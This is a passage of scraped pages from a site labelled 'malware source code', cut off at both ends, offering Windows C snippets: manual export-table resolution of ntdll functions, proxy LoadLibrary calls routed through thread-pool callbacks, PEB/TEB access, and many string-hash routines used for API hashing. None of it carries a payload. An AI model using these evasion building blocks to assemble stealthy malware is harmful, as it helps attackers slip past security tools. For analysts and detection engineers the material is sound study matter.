PIMAGE_NT_HEADERS Nt = NULL; PIMAGE_FILE_HEADER File = NULL; PIMAGE_OPTIONAL_HEADER Optional = NULL; HMODULE hModule = NULL; hModule = GetModuleHandleW(L"ntdll.dll"); if (hModule == NULL) return 0; RtlLoadPeHeaders(&Dos, &Nt, &File, &Optional, (PBYTE*)&hModule); IMAGE_EXPORT_DIRECTORY* ExportTable = (PIMAGE_EXPORT_DIRECTORY)((DWORD64)hModule + Optional->DataDirectory[0].VirtualAddress); PDWORD FunctionNameAddressArray = (PDWORD)((LPBYTE)(DWORD64)hModule + ExportTable->AddressOfNames); PDWORD FunctionAddressArray = (PDWORD)((LPBYTE)(DWORD64)hModule + ExportTable->AddressOfFunctions); PWORD FunctionOrdinalAddressArray = (PWORD)((LPBYTE)(DWORD64)hModule + ExportTable->AddressOfNameOrdinals); for (DWORD dwX = 0; dwX < ExportTable->NumberOfNames; dwX++) { pFunctionName = FunctionNameAddressArray[dwX] + (PBYTE)hModule; if (StringCompareA((PCHAR)pFunctionName, "LdrGetProcedureAddress") == 0) return ((DWORD64)hModule + FunctionAddressArray[FunctionOrdinalAddressArray[dwX]]); } return 0; } [PreviousRtlLoadPeHeaders](https://malwaresourcecode.com/home/library-loading/rtlloadpeheaders) [NextGetRtlUserProcessParameters](https://malwaresourcecode.com/home/library-loading/getrtluserprocessparameters) Last updated 10 months ago --- # Murmur3 | malware source code Copy #include PVOID CopyMemoryEx(_Inout_ PVOID Destination, _In_ CONST PVOID Source, _In_ SIZE_T Length) { PBYTE D = (PBYTE)Destination; PBYTE S = (PBYTE)Source; while (Length--) *D++ = *S++; return Destination; } SIZE_T StringLengthW(_In_ LPCWSTR String) { LPCWSTR String2; for (String2 = String; *String2; ++String2); return (String2 - String); } UINT32 RotateToLeft32(UINT64 x, UINT64 Rotate) { return (x << Rotate) | (x >> (32 - Rotate)); } UINT32 HashStringMurmur3(PVOID String, SIZE_T Length, UINT32 Seed) { PBYTE Pointer = (PBYTE)String; PBYTE InputEnd = Pointer + (Length & ~(SIZE_T)3); UINT32 Magic1 = 0xcc9e2d51; UINT32 Magic2 = 0x1b873593; UINT32 ChunkMagic = 0; UINT32 Hash = Seed; while (Pointer < InputEnd) { UINT32 Chunk = 0; CopyMemoryEx(&Chunk, Pointer, 4); Chunk *= Magic1; Chunk = RotateToLeft32(Chunk, 15); Chunk *= Magic2; Hash ^= Chunk; Hash = RotateToLeft32(Hash, 13); Hash = Hash * 5 + 0xe6546b64; Pointer += 4; } switch (Length & 3) { case 3: ChunkMagic ^= Pointer[2] << 16; case 2: ChunkMagic ^= Pointer[1] << 8; case 1: ChunkMagic ^= Pointer[0]; ChunkMagic *= Magic1; ChunkMagic = RotateToLeft32(ChunkMagic, 15); ChunkMagic *= Magic2; Hash ^= ChunkMagic; } Hash ^= Length; Hash ^= Hash >> 16; Hash *= 0x85ebca6b; Hash ^= Hash >> 13; Hash *= 0xc2b2ae35; Hash ^= Hash >> 16; return Hash; } INT main(VOID) { WCHAR StringHashExample[] = L"Hash This String"; UINT32 Hash = 0; Hash = HashStringMurmur3(StringHashExample, (StringLengthW(StringHashExample) * sizeof(WCHAR)), 1); return ERROR_SUCCESS; } [PreviousLoseLose](https://malwaresourcecode.com/home/string-hashing/loselose) [NextSdbm](https://malwaresourcecode.com/home/string-hashing/sdbm) Last updated 1 day ago --- # ProxyWorkItemLoadLibrary | malware source code Copy typedef NTSTATUS(NTAPI* NTWAITFORSINGLEOBJECT)(HANDLE, BOOL, PLARGE_INTEGER); typedef NTSTATUS(NTAPI* RTLQUEUEWORKITEM)(PRTL_WORK_ITEM_ROUTINE, PVOID, ULONG); HMODULE ProxyWorkItemLoadLibraryW(_In_ LPCWSTR lpModuleName) { NTWAITFORSINGLEOBJECT NtWaitForSingleObject = NULL; RTLQUEUEWORKITEM RtlQueueWorkItem = NULL; NTSTATUS Status = STATUS_SUCCESS; LARGE_INTEGER Timeout = { 0 }; NtWaitForSingleObject = (NTWAITFORSINGLEOBJECT)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtWaitForSingleObject"); RtlQueueWorkItem = (RTLQUEUEWORKITEM)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlQueueWorkItem"); if (!NtWaitForSingleObject || !RtlQueueWorkItem) return NULL; if(RtlQueueWorkItem((PRTL_WORK_ITEM_ROUTINE)&LoadLibraryW, (PVOID)lpModuleName, WT_EXECUTEDEFAULT) != STATUS_SUCCESS) return NULL; Timeout.QuadPart = -500000; NtWaitForSingleObject(GetCurrentProcessNoForward(), FALSE, &Timeout); return GetModuleHandleW(lpModuleName); } HMODULE ProxyWorkItemLoadLibraryA(_In_ LPCSTR lpModuleName) { NTWAITFORSINGLEOBJECT NtWaitForSingleObject = NULL; RTLQUEUEWORKITEM RtlQueueWorkItem = NULL; NTSTATUS Status = STATUS_SUCCESS; LARGE_INTEGER Timeout = { 0 }; NtWaitForSingleObject = (NTWAITFORSINGLEOBJECT)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtWaitForSingleObject"); RtlQueueWorkItem = (RTLQUEUEWORKITEM)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlQueueWorkItem"); if (!NtWaitForSingleObject || !RtlQueueWorkItem) return NULL; if(RtlQueueWorkItem((PRTL_WORK_ITEM_ROUTINE)&LoadLibraryA, (PVOID)lpModuleName, WT_EXECUTEDEFAULT) != STATUS_SUCCESS) return NULL; Timeout.QuadPart = -500000; NtWaitForSingleObject(GetCurrentProcessNoForward(), FALSE, &Timeout); return GetModuleHandleA(lpModuleName); } [PreviousProxyRegisterWaitLoadLibrary](https://malwaresourcecode.com/home/library-loading/proxyregisterwaitloadlibrary) [NextFunction Import Methods](https://malwaresourcecode.com/home/library-loading/function-import-methods) Last updated 10 months ago --- # ProxyRegisterWaitLoadLibrary | malware source code Copy typedef NTSTATUS(NTAPI* NTWAITFORSINGLEOBJECT)(HANDLE, BOOL, PLARGE_INTEGER); typedef NTSTATUS(NTAPI* RTLREGISTERWAIT)(PHANDLE, HANDLE, WORKERCALLBACKFUNC, PVOID, ULONG, ULONG); typedef NTSTATUS(NTAPI* RTLDEREGISTERWAITEX)(HANDLE, HANDLE); HMODULE ProxyRegisterWaitLoadLibraryW(_In_ LPCWSTR lpModuleName) { RTLREGISTERWAIT RtlRegisterWait = NULL; RTLDEREGISTERWAITEX RtlDeregisterWaitEx = NULL; NTWAITFORSINGLEOBJECT NtWaitForSingleObject = NULL; HANDLE WaitObject = NULL, EventObject = NULL; HMODULE hReturn = NULL; LARGE_INTEGER Timeout = { 0 }; Timeout.QuadPart = 500; NtWaitForSingleObject = (NTWAITFORSINGLEOBJECT)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtWaitForSingleObject"); RtlRegisterWait = (RTLREGISTERWAIT)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlRegisterWait"); RtlDeregisterWaitEx = (RTLDEREGISTERWAITEX)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlDeregisterWaitEx"); if (!RtlRegisterWait || !NtWaitForSingleObject || !RtlDeregisterWaitEx) goto EXIT_ROUTINE; EventObject = CreateEventW(NULL, FALSE, FALSE, NULL); if (EventObject == NULL) goto EXIT_ROUTINE; if (RtlRegisterWait(&WaitObject, EventObject, (WORKERCALLBACKFUNC)LoadLibraryW, (PVOID)lpModuleName, 0, WT_EXECUTEDEFAULT) != STATUS_SUCCESS) goto EXIT_ROUTINE; else NtWaitForSingleObject(EventObject, FALSE, &Timeout); hReturn = GetModuleHandleW(lpModuleName); EXIT_ROUTINE: if (EventObject) CloseHandle(EventObject); if(WaitObject) RtlDeregisterWaitEx(WaitObject, NULL); return hReturn; } HMODULE ProxyRegisterWaitLoadLibraryA(_In_ LPCSTR lpModuleName) { RTLREGISTERWAIT RtlRegisterWait = NULL; RTLDEREGISTERWAITEX RtlDeregisterWaitEx = NULL; NTWAITFORSINGLEOBJECT NtWaitForSingleObject = NULL; HANDLE WaitObject = NULL, EventObject = NULL; HMODULE hReturn = NULL; LARGE_INTEGER Timeout = { 0 }; Timeout.QuadPart = 500; NtWaitForSingleObject = (NTWAITFORSINGLEOBJECT)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtWaitForSingleObject"); RtlRegisterWait = (RTLREGISTERWAIT)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlRegisterWait"); RtlDeregisterWaitEx = (RTLDEREGISTERWAITEX)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlDeregisterWaitEx"); if (!RtlRegisterWait || !NtWaitForSingleObject || !RtlDeregisterWaitEx) goto EXIT_ROUTINE; EventObject = CreateEventW(NULL, FALSE, FALSE, NULL); if (EventObject == NULL) goto EXIT_ROUTINE; if (RtlRegisterWait(&WaitObject, EventObject, (WORKERCALLBACKFUNC)LoadLibraryA, (PVOID)lpModuleName, 0, WT_EXECUTEDEFAULT) != STATUS_SUCCESS) goto EXIT_ROUTINE; else NtWaitForSingleObject(EventObject, FALSE, &Timeout); hReturn = GetModuleHandleA(lpModuleName); EXIT_ROUTINE: if (EventObject) CloseHandle(EventObject); if (WaitObject) RtlDeregisterWaitEx(WaitObject, NULL); return hReturn; } [PreviousGetRtlUserProcessParameters](https://malwaresourcecode.com/home/library-loading/getrtluserprocessparameters) [NextProxyWorkItemLoadLibrary](https://malwaresourcecode.com/home/library-loading/proxyworkitemloadlibrary) Last updated 10 months ago --- # Crc32NoTable | malware source code Copy #include SIZE_T StringLengthW(_In_ LPCWSTR String) { LPCWSTR String2; for (String2 = String; *String2; ++String2); return (String2 - String); } UINT32 Crc32NoTable(PVOID Data, SIZE_T Length) { PUINT8 Pointer = (PUINT8)Data; UINT32 Hash = 0xFFFFFFFFU; while (Length--) { Hash ^= *Pointer++; for (int i = 0; i < 8; i++) { if (Hash & 1) Hash = (Hash >> 1) ^ 0xEDB88320U; else Hash >>= 1; } } return Hash ^ 0xFFFFFFFFU; } INT main(VOID) { WCHAR StringHashExample[] = L"Hash This String"; UINT32 Hash = 0; Hash = Crc32NoTable(StringHashExample, (StringLengthW(StringHashExample) * sizeof(WCHAR))); return ERROR_SUCCESS; } [PreviousXXHash](https://malwaresourcecode.com/home/string-hashing/xxhash) [NextRotr32 Add 13](https://malwaresourcecode.com/home/string-hashing/rotr32-add-13) Last updated 2 days ago --- # Jhash | malware source code Copy #include SIZE_T StringLengthW(_In_ LPCWSTR String) { LPCWSTR String2; for (String2 = String; *String2; ++String2); return (String2 - String); } UINT32 RotateToLeft32(UINT32 x, UINT32 Rotate) { return (x << Rotate) | (x >> (32 - Rotate)); } UINT32 HashStringJHash32W(PWCHAR String, SIZE_T Length, UINT32 Seed) { PBYTE Pointer = (PBYTE)String; UINT32 State0 = 0xdeadbeefU + (UINT32)Length + Seed; UINT32 State1 = State0; UINT32 State2 = State0; switch (Length) { case 18: State2 += (UINT32)Pointer[17] << 8; case 17: State2 += (UINT32)Pointer[16]; case 16: State1 += (UINT32)Pointer[15] << 24; case 15: State1 += (UINT32)Pointer[14] << 16; case 14: State1 += (UINT32)Pointer[13] << 8; case 13: State1 += (UINT32)Pointer[12]; case 12: State0 += (UINT32)Pointer[11] << 24; case 11: State0 += (UINT32)Pointer[10] << 16; case 10: State0 += (UINT32)Pointer[9] << 8; case 9: State0 += (UINT32)Pointer[8]; case 8: State1 += (UINT32)Pointer[7] << 24; case 7: State1 += (UINT32)Pointer[6] << 16; case 6: State1 += (UINT32)Pointer[5] << 8; case 5: State1 += (UINT32)Pointer[4]; case 4: State0 += (UINT32)Pointer[3] << 24; case 3: State0 += (UINT32)Pointer[2] << 16; case 2: State0 += (UINT32)Pointer[1] << 8; case 1: State0 += (UINT32)Pointer[0]; default: break; } State2 ^= State1; State2 -= RotateToLeft32(State1, 14); State0 ^= State2; State0 -= RotateToLeft32(State2, 11); State1 ^= State0; State1 -= RotateToLeft32(State0, 25); State2 ^= State1; State2 -= RotateToLeft32(State1, 16); State0 ^= State2; State0 -= RotateToLeft32(State2, 4); State1 ^= State0; State1 -= RotateToLeft32(State0, 14); State2 ^= State1; State2 -= RotateToLeft32(State1, 24); return State2; } INT main(VOID) { WCHAR StringHashExample[] = L"Hash This String"; UINT32 Hash = 0; Hash = HashStringJHash32W(StringHashExample, (StringLengthW(StringHashExample) * sizeof(WCHAR)), 1); return ERROR_SUCCESS; } [PreviousLookup3](https://malwaresourcecode.com/home/string-hashing/lookup3) [NextWyHash](https://malwaresourcecode.com/home/string-hashing/wyhash) Last updated 1 day ago --- # GetLastErrorFromTeb | malware source code Copy DWORD GetLastErrorFromTeb(VOID) { return GetTeb()->LastErrorValue; } [PreviousError Handling](https://malwaresourcecode.com/home/error-handling) [NextGetLastNtStatusFromTeb](https://malwaresourcecode.com/home/error-handling/getlastntstatusfromteb) Last updated 10 months ago --- # GetNumberOfLinkedDlls | malware source code Copy DWORD GetNumberOfLinkedDlls(VOID) { PPEB Peb = GetPeb(); PLDR_MODULE Module = NULL; DWORD dwIndexHash = 0; DWORD dwCount = 0; Module = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink - 16); for (; TRUE; dwCount++) { Module = (PLDR_MODULE)((PBYTE)Module->InMemoryOrderModuleList.Flink - 16); if (Module->BaseDllName.Buffer == NULL) break; } return dwCount; } [PreviousFingerprinting](https://malwaresourcecode.com/home/fingerprinting) [NextPEB / TEB related](https://malwaresourcecode.com/home/fingerprinting/peb-teb-related) Last updated 10 months ago --- # RtlLoadPeHeaders | malware source code Copy #include BOOL RtlLoadPeHeaders(_Inout_ PIMAGE_DOS_HEADER* Dos, _Inout_ PIMAGE_NT_HEADERS* Nt, _Inout_ PIMAGE_FILE_HEADER* File, _Inout_ PIMAGE_OPTIONAL_HEADER* Optional, _Inout_ PBYTE* ImageBase) { *Dos = (PIMAGE_DOS_HEADER)*ImageBase; if ((*Dos)->e_magic != IMAGE_DOS_SIGNATURE) return FALSE; *Nt = (PIMAGE_NT_HEADERS)((PBYTE)*Dos + (*Dos)->e_lfanew); if ((*Nt)->Signature != IMAGE_NT_SIGNATURE) return FALSE; *File = (PIMAGE_FILE_HEADER)(*ImageBase + (*Dos)->e_lfanew + sizeof(DWORD)); *Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)*File + sizeof(IMAGE_FILE_HEADER)); return TRUE; } INT main(VOID) { PBYTE ImageBase = NULL; PIMAGE_DOS_HEADER Dos = NULL; PIMAGE_NT_HEADERS64 Nt = NULL; PIMAGE_FILE_HEADER File = NULL; PIMAGE_OPTIONAL_HEADER64 Optional = NULL; //get imagebase of ntdll for example ImageBase = (PBYTE)GetModuleHandleA("ntdll.dll"); if (ImageBase == NULL) return GetLastError(); //get file headers if (!RtlLoadPeHeaders(&Dos, &Nt, &File, &Optional, &ImageBase)) return -1; return ERROR_SUCCESS; } [PreviousGetKUserSharedData](https://malwaresourcecode.com/home/library-loading/getkusershareddata) [NextLdrLoadGetProcedureAddress](https://malwaresourcecode.com/home/library-loading/ldrloadgetprocedureaddress) Last updated 1 day ago --- # SuperFastHash | malware source code Copy #include PVOID CopyMemoryEx(_Inout_ PVOID Destination, _In_ CONST PVOID Source, _In_ SIZE_T Length) { PBYTE D = (PBYTE)Destination; PBYTE S = (PBYTE)Source; while (Length--) *D++ = *S++; return Destination; } SIZE_T StringLengthW(_In_ LPCWSTR String) { LPCWSTR String2; for (String2 = String; *String2; ++String2); return (String2 - String); } UINT16 Read16BitsAlignedSafe(PVOID Pointer) { UINT16 Value; CopyMemoryEx(&Value, Pointer, sizeof(Value)); return Value; } UINT HashStringSuperFastHashW(PWCHAR String, INT Length) { UINT32 Hash = (UINT32)Length; UINT32 TempObject = 0; INT Remainder = 0; Remainder = Length & 3; Length >>= 2; for (; Length > 0; Length--) { Hash = Read16BitsAlignedSafe(String); TempObject = (Read16BitsAlignedSafe(String + 2) << 11) ^ Hash; Hash = (Hash << 16) ^ TempObject; String += 4; Hash += Hash >> 11; } switch (Remainder) { case 3: { Hash += Read16BitsAlignedSafe(String); Hash ^= Hash << 16; Hash ^= (UINT32)String[2] << 18; Hash += Hash >> 11; break; } case 2: { Hash += Read16BitsAlignedSafe(String); Hash ^= Hash << 11; Hash += Hash >> 17; break; } case 1: { Hash += (UCHAR)String[0]; Hash ^= Hash << 10; Hash += Hash >> 1; break; } default: break; } Hash ^= Hash << 3; Hash += Hash >> 5; Hash ^= Hash << 4; Hash += Hash >> 17; Hash ^= Hash << 25; Hash += Hash >> 6; return Hash; } INT main(VOID) { WCHAR StringHashExample[] = L"Hash This String"; UINT Hash = 0; Hash = HashStringSuperFastHashW(StringHashExample, (INT)(StringLengthW(StringHashExample) * sizeof(WCHAR))); return ERROR_SUCCESS; } [PreviousSipHash](https://malwaresourcecode.com/home/string-hashing/siphash) [NextPjw](https://malwaresourcecode.com/home/string-hashing/pjw) Last updated 1 day ago --- # Error Handling | malware source code [GetLastErrorFromTeb](https://malwaresourcecode.com/home/error-handling/getlasterrorfromteb) [GetLastNtStatusFromTeb](https://malwaresourcecode.com/home/error-handling/getlastntstatusfromteb) [RtlNtStatusToDosErrorViaImport](https://malwaresourcecode.com/home/error-handling/rtlntstatustodoserrorviaimport) [Win32FromHResult](https://malwaresourcecode.com/home/error-handling/win32fromhresult) [PreviousGetProcAddressUnknownGenericHash1](https://malwaresourcecode.com/home/library-loading/function-import-methods/getprocaddressunknowngenerichash1) [NextGetLastErrorFromTeb](https://malwaresourcecode.com/home/error-handling/getlasterrorfromteb) --- # GetLastNtStatusFromTeb | malware source code Copy NTSTATUS GetLastNtStatusFromTeb(VOID) { return GetTeb()->LastStatusValue; } [PreviousGetLastErrorFromTeb](https://malwaresourcecode.com/home/error-handling/getlasterrorfromteb) [NextRtlNtStatusToDosErrorViaImport](https://malwaresourcecode.com/home/error-handling/rtlntstatustodoserrorviaimport) Last updated 10 months ago --- # Win32FromHResult | malware source code Copy DWORD Win32FromHResult(_In_ HRESULT Result) { if ((Result & 0xFFFF0000) == MAKE_HRESULT(SEVERITY_ERROR, FACILITY_WIN32, 0)) return HRESULT_CODE(Result); if (Result == S_OK) return ERROR_SUCCESS; return ERROR_CAN_NOT_COMPLETE; } [PreviousRtlNtStatusToDosErrorViaImport](https://malwaresourcecode.com/home/error-handling/rtlntstatustodoserrorviaimport) [NextFingerprinting](https://malwaresourcecode.com/home/fingerprinting) Last updated 10 months ago --- # Lookup3 | malware source code Copy #include SIZE_T StringLengthW(_In_ LPCWSTR String) { LPCWSTR String2; for (String2 = String; *String2; ++String2); return (String2 - String); } UINT32 RotateToLeft32(UINT32 x, UINT32 Rotate) { return (x << Rotate) | (x >> (32 - Rotate)); } UINT32 HashStringLookup3W(PVOID String, SIZE_T Length, UINT32 Seed) { PBYTE Pointer = (PBYTE)String; UINT32 State0 = 0; UINT32 State1 = 0; UINT32 State2 = 0; State0 = State1 = State2 = 0xdeadbeef + (UINT32)Length + Seed; while (Length > 12) { State0 += *(PUINT32)(Pointer + 0); State1 += *(PUINT32)(Pointer + 4); State2 += *(PUINT32)(Pointer + 8); State0 -= State2; State0 ^= RotateToLeft32(State2, 4); State2 += State1; State1 -= State0; State1 ^= RotateToLeft32(State0, 6); State0 += State2; State2 -= State1; State2 ^= RotateToLeft32(State1, 8); State1 += State0; State0 -= State2; State0 ^= RotateToLeft32(State2, 16); State2 += State1; State1 -= State0; State1 ^= RotateToLeft32(State0, 19); State0 += State2; State2 -= State1; State2 ^= RotateToLeft32(State1, 4); State1 += State0; Pointer += 12; Length -= 12; } switch (Length) { case 12: State2 += *(PUINT32)(Pointer + 8); case 11: State2 += (UINT32)Pointer[10] << 16; case 10: State2 += (UINT32)Pointer[9] << 8; case 9: State2 += Pointer[8]; case 8: State1 += *(PUINT32)(Pointer + 4); case 7: State1 += (UINT32)Pointer[6] << 16; case 6: State1 += (UINT32)Pointer[5] << 8; case 5: State1 += Pointer[4]; case 4: State0 += *(PUINT32)(Pointer + 0); case 3: State0 += (UINT32)Pointer[2] << 16; case 2: State0 += (UINT32)Pointer[1] << 8; case 1: State0 += Pointer[0]; default: break; } State2 ^= State1; State2 -= RotateToLeft32(State1, 14); State0 ^= State2; State0 -= RotateToLeft32(State2, 11); State1 ^= State0; State1 -= RotateToLeft32(State0, 25); State2 ^= State1; State2 -= RotateToLeft32(State1, 16); State0 ^= State2; State0 -= RotateToLeft32(State2, 4); State1 ^= State0; State1 -= RotateToLeft32(State0, 14); State2 ^= State1; State2 -= RotateToLeft32(State1, 24); return State2; } INT main(VOID) { WCHAR StringHashExample[] = L"Hash This String"; UINT32 Hash = 0; Hash = HashStringLookup3W(StringHashExample, (StringLengthW(StringHashExample) * sizeof(WCHAR)), 1); return ERROR_SUCCESS; } [PreviousRotr32 Add 7](https://malwaresourcecode.com/home/string-hashing/rotr32-add-7) [NextJhash](https://malwaresourcecode.com/home/string-hashing/jhash) Last updated 1 day ago --- # SipHash | malware source code Copy #include SIZE_T StringLengthW(_In_ LPCWSTR String) { LPCWSTR String2; for (String2 = String; *String2; ++String2); return (String2 - String); } UINT64 RotateToLeft64(UINT64 x, UINT64 Rotate) { return (x << Rotate) | (x >> (64 - Rotate)); } PVOID CopyMemoryEx(_Inout_ PVOID Destination, _In_ CONST PVOID Source, _In_ SIZE_T Length) { PBYTE D = (PBYTE)Destination; PBYTE S = (PBYTE)Source; while (Length--) *D++ = *S++; return Destination; } VOID ImplSipRound(PUINT64 InternalState0, PUINT64 InternalState1, PUINT64 InternalState2, PUINT64 InternalState3) { *InternalState0 += *InternalState1; *InternalState1 = RotateToLeft64(*InternalState1, 13); *InternalState1 ^= *InternalState0; *InternalState0 = RotateToLeft64(*InternalState0, 32); *InternalState2 += *InternalState3; *InternalState3 = RotateToLeft64(*InternalState3, 16); *InternalState3 ^= *InternalState2; *InternalState0 += *InternalState3; *InternalState3 = RotateToLeft64(*InternalState3, 21); *InternalState3 ^= *InternalState0; *InternalState2 += *InternalState1; *InternalState1 = RotateToLeft64(*InternalState1, 17); *InternalState1 ^= *InternalState2; *InternalState2 = RotateToLeft64(*InternalState2, 32); } UINT64 HashStringSipHashW(PBYTE Key, PVOID String, SIZE_T Length) { PBYTE Pointer = (PBYTE)String; PBYTE InputEnd = Pointer + (Length & ~(SIZE_T)7); UINT64 KeyBase = 0; UINT64 KeyBaseOffset = 0; UINT64 Block = 0; CopyMemoryEx(&KeyBase, Key, 8); CopyMemoryEx(&KeyBaseOffset, Key + 8, 8); UINT64 InternalState0 = 0x736f6d6570736575ULL ^ KeyBase; UINT64 InternalState1 = 0x646f72616e646f6dULL ^ KeyBaseOffset; UINT64 InternalState2 = 0x6c7967656e657261ULL ^ KeyBase; UINT64 InternalState3 = 0x7465646279746573ULL ^ KeyBaseOffset; for (; Pointer != InputEnd; Pointer += 8) { UINT64 MixObject = 0; CopyMemoryEx(&MixObject, Pointer, 8); InternalState3 ^= MixObject; ImplSipRound(&InternalState0, &InternalState1, &InternalState2, &InternalState3); ImplSipRound(&InternalState0, &InternalState1, &InternalState2, &InternalState3); InternalState0 ^= MixObject; } Block = (UINT64)Length << 56; switch (Length & 7) { case 7: Block |= (UINT64)Pointer[6] << 48; case 6: Block |= (UINT64)Pointer[5] << 40; case 5: Block |= (UINT64)Pointer[4] << 32; case 4: Block |= (UINT64)Pointer[3] << 24; case 3: Block |= (UINT64)Pointer[2] << 16; case 2: Block |= (UINT64)Pointer[1] << 8; case 1: Block |= (UINT64)Pointer[0]; default: break; } InternalState3 ^= Block; ImplSipRound(&InternalState0, &InternalState1, &InternalState2, &InternalState3); ImplSipRound(&InternalState0, &InternalState1, &InternalState2, &InternalState3); InternalState0 ^= Block; InternalState2 ^= 0xff; ImplSipRound(&InternalState0, &InternalState1, &InternalState2, &InternalState3); ImplSipRound(&InternalState0, &InternalState1, &InternalState2, &InternalState3); ImplSipRound(&InternalState0, &InternalState1, &InternalState2, &InternalState3); ImplSipRound(&InternalState0, &InternalState1, &InternalState2, &InternalState3); return (InternalState0 & InternalState1) ^ (InternalState2 ^ InternalState3); } INT main(VOID) { WCHAR StringHashExample[] = L"Hash This String"; BYTE Key[16] = { 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 }; UINT64 Hash = 0; Hash = HashStringSipHashW(Key, StringHashExample, (StringLengthW(StringHashExample) * sizeof(WCHAR))); return ERROR_SUCCESS; } [PreviousSdbm](https://malwaresourcecode.com/home/string-hashing/sdbm) [NextSuperFastHash](https://malwaresourcecode.com/home/string-hashing/superfasthash) Last updated 2 days ago --- # GetRtlUserProcessParameters | malware source code Copy PRTL_USER_PROCESS_PARAMETERS GetRtlUserProcessParameters(VOID) { return GetPeb()->ProcessParameters; } [PreviousLdrLoadGetProcedureAddress](https://malwaresourcecode.com/home/library-loading/ldrloadgetprocedureaddress) [NextProxyRegisterWaitLoadLibrary](https://malwaresourcecode.com/home/library-loading/proxyregisterwaitloadlibrary) Last updated 10 months ago --- # RtlNtStatusToDosErrorViaImport | malware source code Copy typedef ULONG(NTAPI* RTLNTSTATUSTODOSERROR)(NTSTATUS); DWORD RtlNtStatusToDosErrorViaImport(_In_ NTSTATUS Status) { RTLNTSTATUSTODOSERROR RtlNtStatusToDosError; HMODULE hModule = NULL; DWORD dwError = ERROR_SUCCESS; hModule = GetModuleHandleW(L"ntdll.dll"); if (hModule == NULL) return -1; RtlNtStatusToDosError = (RTLNTSTATUSTODOSERROR)GetProcAddress(hModule, "RtlNtStatusToDosError"); if (!RtlNtStatusToDosError) return -1; dwError = RtlNtStatusToDosError(Status); RtlNtStatusToDosError = NULL; return dwError; } [PreviousGetLastNtStatusFromTeb](https://malwaresourcecode.com/home/error-handling/getlastntstatusfromteb) [NextWin32FromHResult](https://malwaresourcecode.com/home/error-handling/win32fromhresult) Last updated 10 months ago --- # XXHash | malware source code Copy #include #define XXH64_PRIME1 0x9E3779B185EBCA87ULL #define XXH64_PRIME2 0xC2B2AE3D27D4EB4FULL #define XXH64_PRIME3 0x165667B19E3779F9ULL #define XXH64_PRIME4 0x85EBCA77C2B2AE63ULL #define XXH64_PRIME5 0x27D4EB2F165667C5ULL SIZE_T StringLengthW(_In_ LPCWSTR String) { LPCWSTR String2; for (String2 = String; *String2; ++String2); return (String2 - String); } UINT64 RotateToLeft64(UINT64 x, UINT64 Rotate) { return (x << Rotate) | (x >> (64 - Rotate)); } UINT64 Read8BytesFrom64ByteValue(PVOID Pointer) { return *(PUINT64)Pointer; } UINT64 XXHash64String(PVOID Input, SIZE_T Length, UINT64 Seed) { PBYTE Pointer = (PBYTE)Input; PBYTE InputEnd = Pointer + Length; UINT64 Hash; if (Length >= 32) { PUINT8 Limit = InputEnd - 32; UINT64 Offset8Bytes1 = Seed + XXH64_PRIME1 + XXH64_PRIME2; UINT64 Offset8Bytes2 = Seed + XXH64_PRIME2; UINT64 Offset8Bytes3 = Seed + 0; UINT64 Offset8Bytes4 = Seed - XXH64_PRIME1; do { Offset8Bytes1 = RotateToLeft64(Offset8Bytes1 + Read8BytesFrom64ByteValue(Pointer) * XXH64_PRIME2, 31) * XXH64_PRIME1; Pointer += 8; Offset8Bytes2 = RotateToLeft64(Offset8Bytes2 + Read8BytesFrom64ByteValue(Pointer) * XXH64_PRIME2, 31) * XXH64_PRIME1; Pointer += 8; Offset8Bytes3 = RotateToLeft64(Offset8Bytes3 + Read8BytesFrom64ByteValue(Pointer) * XXH64_PRIME2, 31) * XXH64_PRIME1; Pointer += 8; Offset8Bytes4 = RotateToLeft64(Offset8Bytes4 + Read8BytesFrom64ByteValue(Pointer) * XXH64_PRIME2, 31) * XXH64_PRIME1; Pointer += 8; } while (Pointer <= Limit); Hash = RotateToLeft64(Offset8Bytes1, 1); Hash += RotateToLeft64(Offset8Bytes2, 7); Hash += RotateToLeft64(Offset8Bytes3, 12); Hash += RotateToLeft64(Offset8Bytes4, 18); Offset8Bytes1 = RotateToLeft64(Offset8Bytes1 * XXH64_PRIME2, 31) * XXH64_PRIME1; Offset8Bytes2 = RotateToLeft64(Offset8Bytes2 * XXH64_PRIME2, 31) * XXH64_PRIME1; Offset8Bytes3 = RotateToLeft64(Offset8Bytes3 * XXH64_PRIME2, 31) * XXH64_PRIME1; Offset8Bytes4 = RotateToLeft64(Offset8Bytes4 * XXH64_PRIME2, 31) * XXH64_PRIME1; Hash ^= Offset8Bytes1; Hash = Hash * XXH64_PRIME1 + XXH64_PRIME4; Hash ^= Offset8Bytes2; Hash = Hash * XXH64_PRIME1 + XXH64_PRIME4; Hash ^= Offset8Bytes3; Hash = Hash * XXH64_PRIME1 + XXH64_PRIME4; Hash ^= Offset8Bytes4; Hash = Hash * XXH64_PRIME1 + XXH64_PRIME4; } else Hash = Seed + XXH64_PRIME5; Hash += Length; while (Pointer + 8 <= InputEnd) { Hash ^= RotateToLeft64(Read8BytesFrom64ByteValue(Pointer) * XXH64_PRIME2, 31) * XXH64_PRIME1; Hash = RotateToLeft64(Hash, 27) * XXH64_PRIME1 + XXH64_PRIME4; Pointer += 8; } if (Pointer + 4 <= InputEnd) { Hash ^= (UINT64)(*(PUINT32)Pointer) * XXH64_PRIME1; Hash = RotateToLeft64(Hash, 23) * XXH64_PRIME2 + XXH64_PRIME3; Pointer += 4; } while (Pointer < InputEnd) { Hash ^= (*Pointer++) * XXH64_PRIME5; Hash = RotateToLeft64(Hash, 11) * XXH64_PRIME1; } Hash ^= Hash >> 33; Hash *= XXH64_PRIME2; Hash ^= Hash >> 29; Hash *= XXH64_PRIME3; Hash ^= Hash >> 32; return Hash; } INT main(VOID) { WCHAR StringHashExample[] = L"Hash This String"; ULONGLONG Hash = 0; Hash = XXHash64String(StringHashExample, (StringLengthW(StringHashExample) * 